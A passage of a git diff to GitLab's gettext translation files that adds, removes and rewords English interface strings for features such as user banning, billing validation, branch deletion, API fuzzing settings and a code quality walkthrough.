+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/br_FR/gitlab.po b/locale/br_FR/gitlab.po
index 7cdc63c5866..1ab521ac13f 100644
--- a/locale/br_FR/gitlab.po
+++ b/locale/br_FR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: br-FR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:14\n"
+"PO-Revision-Date: 2021-06-01 20:27\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -378,6 +378,14 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -751,9 +759,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -856,10 +861,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -1004,6 +1009,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1059,9 +1070,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1198,9 +1206,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1264,9 +1278,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1676,6 +1687,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1697,6 +1711,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1766,9 +1783,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1781,6 +1795,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1826,9 +1843,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1868,30 +1882,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1907,7 +1915,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1934,6 +1942,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2201,6 +2218,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2477,6 +2497,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2642,9 +2665,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2657,9 +2677,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2684,9 +2701,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2732,6 +2746,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2750,6 +2767,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2798,6 +2818,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2828,6 +2863,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2882,6 +2920,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2963,6 +3004,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2978,6 +3028,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2990,6 +3046,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -3014,6 +3073,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -3026,6 +3088,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -3071,9 +3136,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -3115,9 +3177,6 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3487,9 +3546,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3592,6 +3648,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3805,6 +3864,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3898,9 +3960,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3970,7 +4029,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4455,6 +4514,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4485,16 +4547,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -5082,7 +5141,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5151,6 +5210,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5307,6 +5369,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5325,6 +5390,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5340,6 +5408,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5358,6 +5429,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5373,6 +5447,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5385,6 +5480,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5394,6 +5492,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5631,6 +5735,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5643,6 +5750,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5652,6 +5762,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5673,12 +5789,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5712,6 +5834,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5724,6 +5849,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5793,6 +5930,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5805,9 +5945,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5874,9 +6020,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5925,15 +6068,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5945,6 +6088,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6638,7 +6784,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -7022,72 +7168,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7250,6 +7330,12 @@ msgstr ""
